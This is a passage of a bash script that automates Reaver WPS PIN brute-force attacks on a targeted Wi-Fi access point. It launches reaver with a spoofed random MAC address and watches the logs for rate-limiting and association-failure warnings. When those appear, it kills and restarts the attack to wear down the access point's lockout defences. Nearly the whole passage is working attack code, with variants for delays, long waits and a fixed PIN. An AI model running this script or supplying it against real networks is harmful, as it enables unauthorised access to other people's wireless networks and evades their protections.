echo -e "$info File name being written to root    = $yel$NAME12-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL12 -b $TARGETAP12 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME12-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE12-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R12 == y || $USE_R12 == Y ]] && [[ $USE_LONG12 == n || $USE_LONG12 == N ]] && [[ $USE_PIN12 == n || $USE_PIN12 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME12"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL12"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP12"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX12" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY12"
echo -e "$info Reaver live time                   = $yel$LIVE12 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME12-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL12 -b $TARGETAP12 -vv -x 60 -r $RX12:$RY12 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME12-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE12-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R12 == n || $USE_R12 == N ]] && [[ $USE_LONG12 == y || $USE_LONG12 == Y ]] && [[ $USE_PIN12 == n || $USE_PIN12 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME12"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL12"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP12"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE12 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME12-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL12 -b $TARGETAP12 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME12-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE12-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R12 == y || $USE_R12 == Y ]] && [[ $USE_LONG12 == y || $USE_LONG12 == Y ]] && [[ $USE_PIN12 == n || $USE_PIN12 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME12"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL12"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP12"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX12" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY12"
echo -e "$info Reaver live time                   = $yel$LIVE12 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME12-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL12 -b $TARGETAP12 -r $RX12:$RY12 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME12-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE12-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R12 == n || $USE_R12 == N ]] && [[ $USE_LONG12 == n || $USE_LONG12 == N ]] && [[ $USE_PIN12 == y || $USE_PIN12 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME12"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL12"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP12"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE12 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME12-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL12 -b $TARGETAP12 -vv -x 60  --pin=$WPS_PIN12 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME12-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE12-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

